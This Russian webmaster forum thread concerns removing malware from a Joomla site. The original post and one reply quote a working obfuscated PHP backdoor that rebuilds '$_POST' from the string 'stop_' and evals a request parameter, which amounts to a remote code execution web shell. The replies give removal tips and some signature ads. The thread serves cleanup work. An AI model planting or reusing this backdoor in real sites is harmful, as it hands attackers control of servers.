Форум Сайтостроение Безопасность

Троян на сайте

12
comunicom
На сайте с 29.08.2011
Offline
89
comunicom
4166

Добрые сутки!

Кто нибудь знает как удалить этот троян что бы сайт продолжал работать:

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd51b12'])){eval(${$s20}['qd51b12']);}?><?php

Вот в такой директории сидит гад. public_html / libraries / joomla / environment

P.S. Как только удаляешь этот код с файла, сайт отключается.

SEO,SMM, Маркетинг
K5
На сайте с 21.07.2010
Offline
209
kgtu5
#1

удалить только

<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd51b12'])){eval(${$s20}['qd51b12']);}?>

оставить

<?php
аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
S
На сайте с 13.06.2010
Offline
55
spawnsanya
#2

тогда уж нужно оставить 

?><?php
comunicom
На сайте с 29.08.2011
Offline
89
comunicom
#3
kgtu5:
удалить только

оставить

Нашел решение. Спасибо всем. Тема закрыты.:)

Решение:

Оставить просто - "<?php" не помогло. Но идея хорошая, к <?php добавил коммент свой и все заработало.

psics
На сайте с 02.04.2009
Offline
130
psics
#4

сайт на wp, установлен плагин slider revolution? у тебя будет не в одном месте такой код) пиши в личку я подскажу) сам только с таким сталкивался)

comunicom
На сайте с 29.08.2011
Offline
89
comunicom
#5
psics:
сайт на wp, установлен плагин slider revolution? у тебя будет не в одном месте такой код) пиши в личку я подскажу) сам только с таким сталкивался)

Спасибо большое за отзыв! Проблема решена и как писал выше, тема - закрыта. С наступающим вас и удачи в новом году!

psics
На сайте с 02.04.2009
Offline
130
psics
#6

если плагин не revslider установлен то лучше заменить....

siv1987
На сайте с 02.04.2009
Offline
427
siv1987
#7
spawnsanya:
тогда уж нужно оставить
?><?php

Тогда уж и вовсе можно удалить 


?><?php
R
На сайте с 13.04.2009
Offline
160
RRR Ivanov
#8
psics:
сайт на wp, установлен плагин slider revolution? у тебя будет не в одном месте такой код) пиши в личку я подскажу) сам только с таким сталкивался)

По путям же видно что joomla :)

ER
На сайте с 23.12.2014
Offline
3
erahost_ru
#9

to psics

/ru/forum/878288

erahost.ru (http://erahost.ru) - хостинг на ssd от 1$, тестирование - 7 дней, домен - бесплатно.
A1
На сайте с 14.10.2014
Offline
14
Arther1
#10

У меня был вирус на сайте, я не смог с ним справиться и удалил сайт.

Продвигаю сайты здесь ('http://webeffector.ru/?invitation=d62bf1c050dbf2f9e2d13c5d9e0fa15f'). Результаты впечатляют!
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий